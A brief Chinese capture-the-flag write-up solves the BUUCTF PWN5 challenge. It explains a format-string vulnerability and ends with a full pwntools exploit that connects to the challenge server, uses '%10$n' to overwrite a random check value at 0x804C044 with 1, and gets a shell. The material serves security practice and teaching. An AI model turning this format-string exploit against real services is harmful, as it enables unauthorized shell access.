使用checksec
查看:
开启了Canary和栈不可执行。
printf(&buf);
:存在格式化字符串漏洞。if ( atoi(&nptr) == unk_804C044 ) { puts("ok!!"); system("/bin/sh"); }
:用户第二次输入的字符串和unk_804C044
中的相同就可以拿到权限。fd = open("/dev/urandom", 0); read(fd, &unk_804C044, 4u);
:unk_804C044
中的数据是随机的,存在bss段上。题目思路
unk_804C044
中的数据固定。步骤解析
首先要确定偏移位
可以确定偏移为10。
接着就构造payload:
b"M%10$n" + p64(0x804C044)
也可以通过
fmtstr_payload()
函数。第二次输入
1
就能够getshell
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",28121)
# r = process("../buu/[第五空间2019 决赛]PWN5")
#params
#attack
payload = b"M%10$n" + p64(0x804C044)
# payload = fmtstr_payload(10,{0x804C044:0x1})
r.recvuntil('name:')
r.sendline(payload)
r.recvuntil('passwd:')
r.sendline("1")
r.interactive()